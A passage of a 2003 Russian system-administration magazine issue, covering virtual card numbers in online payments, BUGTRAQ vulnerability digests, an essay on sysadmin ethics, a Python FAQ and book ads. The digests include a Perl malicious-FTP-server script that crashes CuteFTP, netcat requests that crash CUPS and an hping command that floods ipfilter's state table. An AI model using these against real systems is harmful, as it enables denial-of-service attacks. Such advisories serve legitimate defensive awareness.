эмитентом, производит авторизацию транзакции. В системе резервной авторизации существует общий параметр для всех префиксов карт, определяющий действие эмитента на случай неверного значения CVC2/ CVV2 – отклонить транзакцию сразу или продолжить другие проверки. Если такой параметр установить равным по значению «не отклонять», то и по всем другим операциям и префиксам будет приниматься то же решение, что наверняка противоречит интересам эмитента. В-четвертых, применение технологии виртуальных номеров карт повлечет за собой проблемы для тех интернет-магазинов, которые сохраняют номера карт клиентов, уже однажды обращавшихся в торговое предприятие за услугами, чтобы не заставлять клиента набирать свои реквизиты при следующих обращениях в торговую точку. Очевидно, что при массовом применении технологии виртуальных номеров карт БД таких

88

магазинов быстро переполнятся, что повлечет за собой операционные проблемы в их функционировании. У интернет-магазинов имеются и другие проблемы. Например, если клиент совершил в одном и том же магазине в течение относительно короткого интервала времени две транзакции на одинаковую сумму, то при необходимости провести операцию «возврат покупки» будет неясно, какой номер карты подставлять в транзакцию возврата. Это связано с тем, что в системах торговой точки в качестве ключа для поиска транзакции, как правило, используется номер карты и сумма транзакции. Поэтому, если клиент не может назвать точное значение номера карты, существует вероятность того, что при формировании возврата будет подставлено неправильное значение номера карты и в учетной системе магазина появится неправильная запись – будет «возвращен» не тот товар со всеми вытекающими последствиями для подсистемы управления запасами магазина и т. п. Наконец, использование виртуальных номеров карт влечет за собой и проблемы в системах эмитента. Необходимость хранения информации обо всех используемых номерах карт – одна из них. Требования к технологии виртуальных номеров карт при использовании, например, карт Maestro состоят в следующем. Эмитент должен генерировать 16-цифровые номера карт (при этом виртуальный номер карты может совпадать с реальным номером карты), а также проверять соответствие между данными, сгенерированными при инициализации транзакции, и данными авторизационного запроса. Как указывалось ранее, соответствие ищется как минимум по номеру карты, сроку ее действия, имени магазина (Merchant Name), идентификатору магазина (Merchant ID), сумме транзакции и валюте транзакции. Отличительная особенность решения для карт Maestro заключается в том, что владелец карты не должен ус танавливать на своем компьютере никакого специального ПО (элек тронного бумажника). Транзакция выполняется следую-

щим образом. После того как владелец карты сообщил торговой точке о готовности платить с использованием карты Maestro, интернетмагазин отправляет на сервер эмитента (e-Wallet в терминах Maestro), хранящий информацию о реквизитах своих карт, специальное сообщение. Это сообщение содержит информацию о торговой точке (Merchant Name, Merchant ID), о сумме и валюте покупки, идентификатор транзакции в системе торговой точки и т. п. Одновременно сервер магазина переключает владельца карты на сервер эмитента. Сервер эмитента устанавливает с владельцем карты защищенное соединение и направляет клиенту форму для проведения его аутентификации. Например, эмитент может запросить у владельца карты ранее предоставленные ему идентификатор и пароль. После того как владелец карты аутентифицирован сервером эмитента, последний формирует запрос на сервер торговой точки, содержащий сгенерированный эмитентом виртуальный номер карты. По решению Maestro имеется несколько вопросов, ответы на которые явно не следуют из официального описания схемы. Во-первых, не определено, каким образом торговая точка узнает адрес сервера эмитента карты Maestro. В простейшем случае торговая точка знает адреса серверов эмитента для некоторого ограниченного набора префиксов (локальное решение). В общем случае необходимо создавать некоторую централизованную ди- ректорию адресов, и тогда торговая точка должна обращаться к серверу директории, который уже маршрутизирует запрос на сервер эмитента. Второй вопрос связан с необходимостью определения спецификации интерфейса между торговой точкой и сервером эмитента. Речь идет о семантике и синтаксисе сообщений, которыми обмениваются торговая точка и сервер эмитента. Распределение ответственности при возникновении диспута по транзакции ничем не отличается от того, каким образом оно производится при использовании модели трех доменов.


BUGTRAQ Уязвимость в Linux 2.2.xx /proc/<pid>/mem mmap() Локальная системная уязвимость аварийного отказа присутствует в Linux ядре 2.2.x. Система, вероятно, зависнет и потребуется ручная перезагрузка. Интерфейс /proc/pid/mem предназначен, чтобы разрешить одному приложению при некоторых условиях обратиться к памяти другого приложения. Эта особенность очень полезна для разработчиков или администраторов, которые желают отладить или анализировать программы, выполняющиеся на их системе. Один из способов обратиться к памяти непосредственно – использовать mmap(). Уязвимость обнаружена в способе, которым этот процесс подтверждает правильность. Уязвимость позволяет пользователю, используя интерфейс mmap(), обратиться к страницам памяти, которые нечитаемы прослеживаемым процессом. Пользователь может передать параметр PROT_READ для этого запроса, чтобы запросить доступ для чтения к этому отображению. Из-за недостаточной проверки правильности он получит такой доступ. Это приведет к краху системы.

Подробности переполнения буфера в Windows XP Переполнение буфера существует в Explorer при автоматическом считывании атрибутов MP3- или WMA-файлов в Windows XP. Нападающий может создать злонамеренный MP3- или WMA-файл в папке в системе Windows XP, который может использоваться для удаленного выполнения произвольного кода при просмотре такой папки в Windows XP. При этом MP3-файл не должен быть запущен, он просто должен быть сохранен в папке, которая будет просмотрена, типа папки загрузки MP3, рабочего стола или NetBIOS-ресурса. Пользователь Windows XP, посещающий сайт с помощью Internet Explorer, может быть дистанционно скомпрометирован без какого-либо предупреждения или загрузки файлов, независимо от параметров настройки защиты Internet Explorer. В отличие от Windows 2000, Windows XP поддерживает чтение и анализ атрибутов MP3- и WMA-файлов. Если пользователь подсвечивает MP3- или WMA-файл курсором, будут отображены соответствующие подробности файла. Explorer автоматически читает атрибуты файла, независимо от того, действительно ли пользователь подсвечивает или открывает файл. Переполнение произойдет, если некорректные атрибуты существуют внутри MP3или WMA-файла. Пользователь просто должен просмотреть папку (локальный или сетевой ресурс), который содержит злонамеренный файл. Например, пользователь может загрузить MP3-файл, используя популярные пиринговые программы, и затем открыть их MP3-папку (чтобы прослушать загруженный MP3-файл). После открытия папки Explorer выполнил бы код, содержащийся внутри атрибутов файла. Пользователи Windows 2000 неуязвимы при просмотре таких MP3-файлов с испорченными атрибутами. Два дополнительных вектора нападения существуют

№2(3), февраль 2003

для этой уязвимости через веб-браузер и Outlook. Злонамеренный сайт мог содержать IFRAME NetBIOS-ресурса, который содержит злонамеренный MP3-файл. Точно также можно послать HTML-электронное сообщение, которое содержит ссылку на NetBIOS-ресурс. Успех такого нападения зависит от параметров настройки Outlook. Нападение через злонамеренный веб-сайт не зависит от параметров настройки защиты Internet Explorer. Уязвимость обнаружена в Windows Explorer для Windows XP.

Переполнение буфера в Hyperion FTP Server Hyperion FTP Server (http://www.mollensoft.com/ ) – FTPserver для Windows-систем. Уязвимость, обнаруженная в Hyperion Ftp Server (version 2.8.11), позволяет удаленному пользователю выполнять произвольный код. Переполнение происходит при передаче длинного параметра (более 300 байт) к команде Dir: ftpservx.dll who does not support dir+(buffer=300 byte) Access violation - code c0000005 (first chance) eax=0012bcbc ebx=0012c574 ecx=42424242 edx=7846f5b5 esi=0012bce4 edi=00147ffd eip=42424242 esp=0012bc24 ebp=0012bc44 iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 42424242 ?? ???

Уязвимость обнаружена в Hyperion FTP Server 2.8.11.

Переполнение буфера в Common Unix Printing System Cups (Common Unix Printing System) – свободно доступный пакет для управления принтером от Cups Project для Unix- и Linux-платформ. Обнаруженная в CUPS уязвимость позволяет удаленному атакующему выполнять произвольный код на уязвимой системе. Нападающий может эксплуатировать эту уязвимость, соединяясь с уязвимой системой и передавая уродливые HTTP-заголовки с отрицательным значением для некоторых полей. Когда cupsd получит этот запрос, его работа аварийно завершится. Пример: $ nc -v localhost 631 localhost [127.0.0.1] 631 (?) open POST /printers HTTP/1.1 Host: localhost Authorization: Basic AAA Content-Length: -1 $ nc -v localhost 631 localhost [127.0.0.1] 631 (?) open POST /printers HTTP/1.1 Host: localhost Authorization: Basic AAA Transfer-Encoding: chunked - - - - -FFFFFFFE

Уязвимость обнаружена в Easy Software Products CUPS 1.0.4-1.1.17 Apple MacOS X 10.2-10.2.2.

89


IMHO

ЭТИКА СИСАДМИНА

В замечательном романе Гарри Гариссона «Специалист по этике» из цикла «Неукротимая планета» Язон ДинАльт говорит такую фразу «Для меня святыня – Я!»... А чем руководствуетесь вы в своей повседневной практике системного администрирования?

АНДРЕЙ ГУСЕЛЕТОВ

90


IMHO Не так уж и давно, а именно – 26 июля 2002 года, я отмечал свой профессиональный праздник – «День системного администратора»1, что, впрочем, наверняка делали и вы: какой же русский не любит быстрой езды и праздников? Знал я об этом заранее и, как на многие праздники, проснулся утром раненько с чувством легкой эйфории и в предвкушении чего-то необыкновенного. Ну ничего необыкновенного в этот день не случилось, правда, один мой друг с Мальты прислал мне ссылочку на сайт2, посвященный Дню системного администратора. И вот, читая его содержимое, я и задумался: «А что собственно лежит в моральной основе моих действий, в моей профессиональной этике?». Собственно, фраза, которая меня толкнула на эти размышления, звучит в оригинале так: «System Administrator Appreciation Day – a special day, once a year, to acknowledge the worthiness and appreciation of the person occupying the role, especially as it is often this person who really keeps the wheels of your company turning». «День, посвященный системному администратору, – особый день в году, в который вы можете выразить, насколько вы цените и признательны человеку, занимающему это место [системного администратора], так как часто это тот, кто действительно помогает крутиться «колесам» вашей компании»). Вот и поехали, я буду потихоньку это раскручивать. Скажем честно: было у вас когданибудь желание «зарезать» особо противному пользователю квоту или доступ в Интернет, не потому что он нарушил какие-то правила фирмы, а потому что насолил вам лично? Психологи, когда ставят такой вопрос в тест, обычно подразумевают шкалу невалидности – т.е. честный ответ должен быть утвердительным, «да, хотелось, но ?». А что но? Чем я не царь и не бог. «Рраз – и готово». К сожалению, не раз слышал от пользователей предположения о том, что так и происходит. «Вот, у меня с N-ского сайта еле качается, это ты мне урезал, я знаю!». Отвечаю вам, читатели; нет, никогда за уже без малого 5 лет на этом рабочем месте я такого не делал и не собираюсь. Я бы хотел, чтобы все мы – системные

№2(3), февраль 2003

администраторы – имели некий кодекс чести. Чтобы не оступиться. Давайте его создадим? Действительно, задумайтесь: в типичной небольшой организации (около 60-90 компьютеров) системный администратор зачастую имеет практически неограниченные права. Я специально не буду рассматривать ситуацию с раздельным администрированием (когда, например, один занимается только правами на директории, второй – пользовательскими бюджетами, а за дисковые квоты отвечает третий человек). Да, такие системы и идеологии существуют. Но где они реально работают? Вернемся к нашей преуспевающей фирме: эта гипотетическая организация развивалась очень быстро, за 3-4 года штат компьютеров увеличился с 3 до 50, и, соответственно, первоначально работавший там программистом человек, паренек лет 20-24 (уж очень в нашей стране любят экономить деньги, нанимая студентов) теперь фактически работает системным администратором. Пусть его зовут Костя. Да, он где-то подучился, уже умеет достаточно прилично ставить Windows 2000 Advanced Server, кое-что знает о Linux и коммуникациях, зачастую он же параллельно занимается и офисной АТС. Вот, казалось бы, а что еще надо? А как он разговаривает с пользователями, что он о них думает? Случай из практики. Технически подкованный молодой человек, с высшим образованием, назовем его Алексеем, в разговоре с начальником отдела, отзываясь о своих пользователя говорит: «...да нет, я им всё быстро сделал. Всего-то и надо было – форматнуть дискету», и вывод, заметьте – «ламерьё». Уж извините меня за жаргон. Человек Алексей достаточно нормальный, в повседневном общении достаточно приятный, ну а вот такое пренебрежительное отношение к людям, которые о компьютерах знают меньше его – проскакивало не один раз. Как вы думаете – такой человек, при хорошем, я имею в виду, при действительно хорошем руководителе – далеко по служебной лестнице пойдет? Вряд ли. А таких людей – даже не сотни, и не

тысячи, а, боюсь, гораздо больше... Вот ведь какая штука получается – недостаточно иметь отличные технические познания, для того чтобы быть хорошим системным администратором, надо еще и уважать людей не только за их познания о компьютерах. Нет, я не призываю вас бросаться целоваться с любителем ваз эпохи Минь или акварельных рисунков на рисовой бумаге. Совсем нет. (Каким бы это не показалось смешным и надуманным, но вот как раз последнее – японские акварели на рисовой бумаге – я просто обожаю.) Но и подходить к людям с мерилом по их познанию NTFS или sendmail тоже нельзя. Допустим, с одной вещью я разобрался, поднимаю своего Константина (еще помните? паренёк-администратор в небольшой, но весьма преуспевающей российской фирме) на ступенечку выше – теперь он уважает бухгалтера Степан Васильевича, как оказалось, у того дома живут четыре канарейки, и он столько всего может о них рассказать – просто заслушаешься! И приходит к Константину девушка-диспетчер: – Костя, вот у меня тут отчет не читается, ты не мог бы посмотреть, может у меня что-то с дисководом ? – Угм, – тихо буркнул себе под нос Костя, даже не повернувшись на голос, хотя в этот момент просто открывал описание очередной утилиты для автоматического пинга нескольких серверов одновременно. Естественно никуда он сразу не побежал... А представляете, как будет себя вести такой человек, когда ему чтото нужно сделать на компьютере, на котором у же работает какой-то пользователь – молча подходит, двигает человека, что-то делает и удовлетворенный уходит – всё молча! Ага, вот вам и второй пункт: Хороший системный администратор должен быть человеком коммуникабельным и желательно дружелюбным. Пусть я прихожу на работу, а у меня дома болеет ребенок, пусть на улице слякоть и мерзость, но вспоминаю – семьдесят пользователей, и большая часть из них надеется именно на меня, я просто не имею никакого

91


IMHO права не оправдать их надежды, я не имею права хамить им! Так, сделаем Косте модернизацию... Кстати, как вы называете upgrade – апгрейд, я, например, – улучшение или модернизация, хотя признаюсь, такой вариант англоязычного термина меня не до конца устраивает. Поднимаю своего человечка еще выше, на следующую ступеньку. Уже почувствовали, что будет дальше? Правильно – коммутаторы, концентраторы, оперативная память и жесткие диски, а не – свитч НетГиар ФС-116, хаб, рамка и винт. Опять же, не надо фанатизма, я не призываю вас выкинуть из употребления все заимствованные слова, признаюсь честно, – винчестер я вставил специально, так как это слово считаю достаточно спорным. Если вы помните, и англичане также называют жесткие диски иногда винчестерами, но никак не пристало нам, носителям самого могучего и богатого языка в мире говорить – «хардник накрылся». Причем я стараюсь избегать жаргонных слов везде, где это возможно, в особенности это поможет вам и вашей бухгалтерии при очередной модернизации сервера – куда как проще продиктовать по телефону (и записать в доверенность), что нужно оплатить четыре жестких диска и сетевую двухпортовую карту, чем – четыре харда и одну двухголовую сетевуху... Вот вам и следующая сентенция: мы – русские (украинцы, белорусы) – славяне, в общем, поэтому в повседневной работе с пользователями хорошему администратору следует избегать использования сленговых выражений и фонетических калек из иностранных языков. И для себя лучше при постоянном общении с этими железяками (компьютерами, концентраторами и маршрутизаторами – список длинный) лучше иногда всплыть на поверхность и немного поразмышлять как обычный человек, нормальным языком. Стал наш Костя говорить по-русски и перешел еще на одну ступеньку вверх. Вот и всплыло в предпоследней фразе – как бы это не было банально, мы от обычных людей всё-таки отличаемся, конечно, в этом ничего

92

сверхъестественного нет. Точно так же отличается булочник от ювелира или пилот от акушера-гинеколога. И про это тоже не следует забывать. Вспомните время обучения в институте или в школе – если знаешь ответ, так хочется всё пропустить, не писать промежуточные вычисления – «я же могу их сделать в уме», – а сразу написать конечный ответ. Но так нельзя, по крайней мере, в работе с пользователями. Вы знаете больше среднестатического пользователя, и если делаете что-то, улучшающее его работу, то постарайтесь это донести до него. Опустите детали – скажите суть. А то иногда ваше неочевидное улучшение воспримется «в штыки», и какое-же это тогда улучшение? Естественно, бывает, я делаю какие-то настолько неочевидные манипуляции, что без вступительной лекции не обойтись, а иногда политика безопасности просто не позволяет долго распространяться на определенную тему, что ж, – молчим. Итак, я для себя сказал: «Хороший администратор должен объяснять или чётко мотивировать пользователям свои действия в тех случаях, когда это возможно». Опять-же привожу пример: В одной достаточно немаленькой фирме на центральном сервере понадобилось поставить более мощную сетевую карту, так как имеющееся 100-мегабитное соединение с сервером стало узким местом при доступе к нему. Соответственно, руководитель отдела информатизации попросил администратора оповестить людей. Что тот и сделал – вывесил такое объявление: Îáúÿâëåíèå! Çàâòðà ñ 8-00 äî 9-00 óòðà ñåðâåð ðàáîòàòü íå áóäåò. Ñèñòåìíûé àäìèíèñòðàòîð.

Соответственно, экономический отдел, который как раз в это время заканчивал полугодовой отчет (кстати, установка мощной двухпортовой серверной сетевой карты значительно ускоряла им работу) начал возмущаться: «Как так, мол, нам работать надо», и естественно, именно завтра, именно этот промежуток времени стал решающим. Выход, правда, был

найден – другой системный администратор пошел в экономический отдел и объяснил «на пальцах» что нужно сделать и зачем. После чего текст объявления изменили. Сетевую карту поставили, отчет был сделан вовремя, и все остались довольны! Вот так наш Костя теперь мотивирует свои действия в разговорах с пользователями и таким образом поднимается еще выше, и теперь это «человек, приятный во всех отношениях». Ну почти. Есть еще одна вещь: как и врач, системный администратор должен четко соблюдать принцип «тайны административной практики» – вот это сказано неудачно, но требовалось для сходства с оригиналом. Суть же, я думаю, понятна – хороший администратор никогда не разглашает «личную» информацию пользователя: его настройки, пароли, какие-то особенности бюджета, если конечно не случилось аварии (происшествия) которые требуют обратных действий. Вот – снял перчатки, помыл руки, и – молчок. А это тоже нелегко, так язык иногда и чешется. Ну всё, теперь личность, стоящая на вершине пирамиды, – наш Константин – просто подарок для фирмы: умный, знающий, коммуникабельный, надежный – всего не перечислишь. Вот такого работника можно считать настоящим системным администратором. Может быть, кто-то примет это всё за одну большую шутку, ну что ж – это ваше право, собственных мыслей у нас никто не может отобрать. Я стараюсь следовать тому, что здесь высказал. Кроме того, всегда открыт для дискуссии и новых мыслей. Если что – пишите. Осталось только одно – чтобы моего идеального системного администратор ценили, не боготворили, нет, – просто ценили. Любому нормальному человеку этого вполне достаточно, системному администратору – тоже... especially as it is often this person who really keeps the wheels of your company turning. 1

Отмечается в последнюю пятницу июля, но корней праздника, к своему великому стыду, я не знаю. 2 Вот он – http://www.sysadminday.com.


FAQ Python ВОПРОС: Можно ли на Python создавать программы с графическим интерфейсом? ОТВЕТ: Да. Даже в стандартной поставке Python есть пакет Tkinter – многоплатформенные средства для графического интерфейса на основе Tcl/Tk. Помимо этого, для Python можно найти привязки к более чем десятку других GUI-библиотек. Наиболее продвинутым средством считается wxPython. Python для Java (Jython) может использовать стандартные для Java библиотеки (AWT, Swing).

ВОПРОС: Можно ли на Python написать простенький HTTP-сервер? ОТВЕТ: Да. Более того, в стандартной поставке Python есть несколько готовых примеров: BaseHTTPServer.py, CGIHTTPServer.py и т. п.

ВОПРОС: Есть ли в Python аналог следующего оператора Perl: S =~ s/(text)/f($1)/ge;

ОТВЕТ: В языке Python регулярные выражения записываются так же, как и в Perl, но операции по поиску, сопоставлению, заменам и т. п. производятся с помощью функций модуля re. Следующий код Python соответствует приведенному выше выражению: import re S = re.sub(«(text)», lambda m: f(m.group(1)), S)

То есть в качестве второго аргумента функции re.sub() может выступать функция, которой в качестве аргумента передается объект с очередным успешно найденным фрагментом строки. Более развернутый вариант: import re def subf(m): return f(m.group(1)) S = re.sub(«(text)», subf, S)

Составил Роман Сузи

Оформляйте подписку на журнал через агентство «Роспечать»

Подписные индексы: для частных лиц

81655 для организаций и предприятий

81656 Рады видеть Вас нашими читателями! №2(3), февраль 2003

93


BUGTRAQ Переполнение буфера в CuteFTP CuteFTP – популярный FTP-клиент для Windows-систем. В программе обнаружена возможность удаленного переполнения буфера, которая может использоваться злонамеренным FTP-сервером для выполнения произвольного кода на системе клиента. Переполнение происходит при получении FTP-баннера большого размера (более 2048 Кб). Пример FTP-сервера, который убивает клиентский CuteFTP: #!/usr/bin/perl use IO::Socket; $port = "21"; $data = "a"; $num = "2049"; $buf .= $data x $num; $server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM, Reuse => 1, Listen => 2) or die "Couldn't create ftpserver: $_\n"; while ($client = $server->accept()) { print "Client connected.\n"; print "Attacking..."; print $client "$buf"; print "OK\n"; close($client); } #EOF

Уязвимость найдена в CuteFTP v.4.2 и, возможно, в более новых версиях. Уязвимость обнаружена D4rkGr3y из Damage Hacking Group.

Определение фильтрующих устройств в большинстве пакетных фильтров Большинство пакетных фильтров от различных производителей не проверяют контрольную сумму четвертого уровня. Это позволяет атакующему выполнить активный анализ правил межсетевой защиты и использовать инструменты OS fingerprinting, анализируя пакеты ответа межсетевой защиты. Эта проблема присутствует, даже если используется прозрачный мост. Пример: посылая TCP SYN, вы получите RST-ACK.

Утечка информации во многих драйверах сетевых Ethernet-устройств Драйвера устройств Network Interface Card (NIC) для различных платформ неправильно обрабатывают заполнения фреймов, позволяя атакующему просматривать части предварительно переданных пакетов или памяти ядра. Эта уязвимость – результат неправильного выполнения RFC-требований и неправильного программирования, комбинация которых приводит к нескольким разновидностям этой уязвимости утечки информации. Самое простое нападение, использующее эту уязвимость, должно посылать ICMP echo сообщения машине с уязвимым Ethernet-драйвером. В этом случае атакующему будут возвращены части памяти ядра вместе с ответом. В результате испытаний обнаружено, что возвращенные части – обычно отрывки сетевого трафика, которым обменивается уязвимая машина. Это нападение позволяет атакующему просматривать части сетевого трафика, которым обменивается в сетевом сегменте маршрутизатор или межсетевая защита, и к которому атакующие

94

не имеют прямого доступа. Важно обратить внимание, что нападающий должен быть в той же самой локальной Еthernet-сети, что и уязвимая машина, чтобы получить Ethernet-фреймы. Детальную информацию об обнаруженной уязвимости можно получить отсюда: www.atstake.com/research/ advisories/2003/atstake_etherleak_report.pdf.

Межсайтовый скриптинг в Internet Explorer Обнаруженная уязвимость в IE позволяет удаленному атакующему вставить произвольный код сценария в URL flash-объекта, который будет автоматически выполнен при загрузке злонамеренной веб-страницы, в контексте уязвимого сайта. Уязвимость может использоваться для кражи чувствительных данных, хранящихся в куки. Пример: http://www.macromedia.com//shockwave/download/ triggerpages_mmcom/

Уязвимость обнаружена в Internet Explorer 5.0-6.0.Недостаток регистрации соединений.

Недостаток регистрации соединений с неправильной контрольной суммой TCP/ACK-пакета Когда ipfilter получает пакет с ACK-битом без предварительно установленного SYN, программа отметит такой пакет как TCPS_ESTABLISHED в таблице состояний, и когда RESET-пакет будет послан обратно системным приложением, программа изменит TTL в таблице состояний к 1 минуте. Но если атакующий пошлет пакет с ACK-битом и плохой контрольной суммой, ipfilter добавит “ESTABLISHED”сессию в таблицу состояний с тайм-аутом, равным 120 часов вместо 1 минуты. Используя эту методику, атакующий может легко уничтожить сетевое подключение любой системы с установленным ipfilter за несколько минут! Пример: [yiming@security.zz.ha.cn]#hping -s ip.of.spoofedandtrusted.box -A ip.of.target.box -p 22 -c 1 -b you will immediately see a a long wait ttl of 120 hours, like this security.zz.ha.cn,1235 server,22 4/0 tcp 1 40 119:59:48

Уязвимость обнаружена в IP Filter 3.4.29-3.4.30.

Недостаток в проверке сертификатов в Windows File Protection Файлы, подписанные с использованием code-signingсертификатов, выпущенных любым доверяемым корневым сертификатом, будут доверены WFP (Windows File Protection). Эти файлы могут быть системными файлами операционной системы и драйверами устройства. Т.е. любой атакующий, способный подписываться любым доверенным корневым сертификатом, может создать подписанный код, которому будет доверять система. Уязвимость обнаружена в Microsoft Windows 2000/XP.


Во втором, улучшенном и обновленном издании книги, посвященной новой технологии информационной безопасности – обнаружению атак, систематизируются разрозненные данные о приемах совершения атак, исследуются различные критерии атак и признаки их обнаружения, источники информации об атаках и методы их анализа. Приведена подробная классификация систем обнаружения атак с примерами конкретных отечественных и зарубежных решений. Рассматриваются критерии выбора систем обнаружения атак для различных групп потребителей, имеющих разные приоритеты при построении инфраструктуры обнаружения атак. Большое внимание уделено практике эксплуатации систем обнаружения атак, включая вопросы их установки и размещения. Впервые сведены воедино и описаны недостатки существующих средств обнаружения атак и способы их преодоления. ISBN 5-94157-246-8, 608 стр

В книге обсуждаются вопросы профессиональной разработки приложений в Borland Delphi 7 и особое внимание уделяется практике программирования. Представлено детальное описание объектной концепции, стандартных и программных технологий, используемых при работе программистов. Значительная часть материала посвящена разработке приложений, базирующихся на широко используемых и перспективных технологиях доступа к данным: ADO, dbExpress, InterBase Express. Распределенным многозвенным приложениям и технологии DataSnap также отведено достойное место. Все рассматриваемые в этой книге темы сопровождаются подробными примерами, которые помогут быстро освоить данный этот язык программирования. ISBN 5-94157-116-Х 784 стр.

Книга посвящена операционной системе Linux. Приводятся подробные сведения о ее особенностях и возможностях, идеологии файловой системы, инсталляции и основных командах, вопросах компиляции ядра, настройках и сервисах. Большое внимание уделяется организации на базе Linux различных серверов и служб: электронной почты, WWW, FTP, INN, Proxy, NTP, а также проблемам администрирования сети, обеспечения безопасной работы и пр. Описаны способы настройки под Linux рабочих станций, в т. ч. и бездисковых, установки и эксплуатации на них графических сред типа X Window, а также конфигурирование модемных соединений, принтеров и сканеров, отладка взаимодействия с Linux-машинами такой “экзотической“ периферии, как карманные компьютеры, мобильные телефоны, TV-тюнеры и т. п. Рассматриваемые в книге конфигурационные файлы и структура каталогов соответствуют дистрибутиву Red Hat Linux 7.x, тем не менее, при минимальной адаптации все упоминаемые в книге пакеты устанавливаются в любом дистрибутиве Linux. ISBN 5-94157-146-1, 888 стр.

Книга известного эксперта по сетевым технологиям, автора и редактора многих публикаций К.Закера представляет собой полное руководство по созданию, конфигурированию и обслуживанию локальных сетей. Подробно рассматриваются особенности применения аппаратногои программного обеспечения, возможности различных версий сетевых операционных систем Windows, Novell NetWare, UNIX и их компонентов, проводится детальный разбор практически всех используемых ныне технологий и коммуникационных протоколов, таких как Ethernet и Token Ring, от стандартов ранних версий до современных. Книга содержит обзор популярных технических и программных решений для WWW, затрагивает взаимодействие локальных и глобальных сетей на всех уровнях. Также освещаются вопросы функционирования различных сетевых служб и сервисов (DNS, WINS, DНСР). Дается множество полезных рекомендаций, которые будут интересны как профессионалам, так и новичкам. Для сетевых администраторов и проектировщиков сетей. ISBN 0-07-212256-0, 5-94157-042-2, 1008 стр.

2


СИСТЕМНЫЙ АДМИНИСТРАТОР № 2(3), Февраль, 2003 год РЕДАКЦИЯ Исполнительный директор Владимир Положевец Главный редактор Александр Михалев chief@samag.ru Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин Художник Игорь Усков igus@samag.ru РЕКЛАМНАЯ СЛУЖБА тел.:(095)928-8253 (доб. 112) факс:(095)928-8253 Константин Меделян reklama@samag.ru Верстка imposer@samag.ru maker_up@samag.ru 103012, г. Москва, Ветошный переулок, дом 13/15 тел.: (095) 928-8253 (доб. 112) факс: (095) 928-8253 Е-mail: info@samag.ru Internet: www.samag.ru РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ООО «Мастер Печати» Тираж 5000 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены. Редакция оставляет за собой право изменять содержание следующих номеров.

96

ЧИТАЙТЕ ЧИТАЙТЕ В СЛЕДУЮЩЕМ СЛЕДУЮЩЕМ В НОМЕРЕ: НОМЕРЕ: Перехват системных вызовов в ОС Linux За последние годы операционная система Linux прочно заняла лидирующее положение в качестве серверной платформы, опережая многие коммерческие разработки. Тем не менее вопросы защиты информационных систем, построенных на базе этой ОС, не перестают быть актуальными. Обеспечение безопасности системы требует выполнения целого комплекса мероприятий. Предлагаем вам рассмотреть механизм защиты, основанный на перехвате системных вызовов операционной системы Linux. Данный механизм позволяет взять под контроль работу любого приложения и тем самым предотвратить возможные деструктивные действия, которые оно может выполнить.

TACACS Это протокол аутентификации кисок на сервере. Я опишу основные принципы настройки сервера и клиента (киски) TACACS+ (плюс указывает на версию протокола, которая используется в настоящее время). TACACS имеет очень широкое применение, так как может обеспечивать работу всех кисок с единым сервером авторизации, который также позволяет настраивать привилегии различных пользователей в широких пределах, например: давать определённым пользователям доступ только к определённым командам, давать определённым лицам пользоваться определёнными сервисами только с заданных адресов, организовывать группы пользователей, вести лог-файл доступа пользователей (это особенно важно для маршрутизаторов, так как позволяет определить, кто и сколько пользовался определёнными сетевыми службами: ppp, slip и т. д.), выполнять для пользователей определённые команды ОС.

Некоторые недокументированные функции Java Изучение недокументированных функций в применении к языку Java может показаться несколько странным. Java – грамотный, современный, высоконадежный объектно-ориентированный язык программирования с обширнейшими библиотеками готовых классов. Неужели в среде Java существуют задачи, которые не решаются с помощью стандартных библиотек, и для решения которых имеет смысл прибегать к недокументированным функциям? И что вообще такое «недокументированная функция» в рамках Java?

Можно ли защитить веб-страницы от анализа исходного кода? Можно ли как-то помешать программисту-профессионалу, располагающему сколь угодно богатым арсеналом специализированных программ – отладчиком, собственной версией браузера с исходными текстами, виртуальной машиной и любыми другими средствами – проанализировать исходный HTML-код веб-страницы или, по крайней мере, клиентский JavaScript? Если это и возможно, то так же трудно, как реализация схемы защиты, описанной в этой статье.

Установка FreeBSD Если бы у меня спросили, какую операционную систему я бы установил в качестве сервера из Windows, Linux и различных вариантов BSD, я бы не задумываясь ответил: FreeBSD. Почему? Стабильность серверов под управлением этой системы уже давно ни у кого не вызывает сомнений. Чтобы работать в системе, необходимо первоначально ее установить. Описанием чего, собственно говоря, и займемся в этой статье.


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.